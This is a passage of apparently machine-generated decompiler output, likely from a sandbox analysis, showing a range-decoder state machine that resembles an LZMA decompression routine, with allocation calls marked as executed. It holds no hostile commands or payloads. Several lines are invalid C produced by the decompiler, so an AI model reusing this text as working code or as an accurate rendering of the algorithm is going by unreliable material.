							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
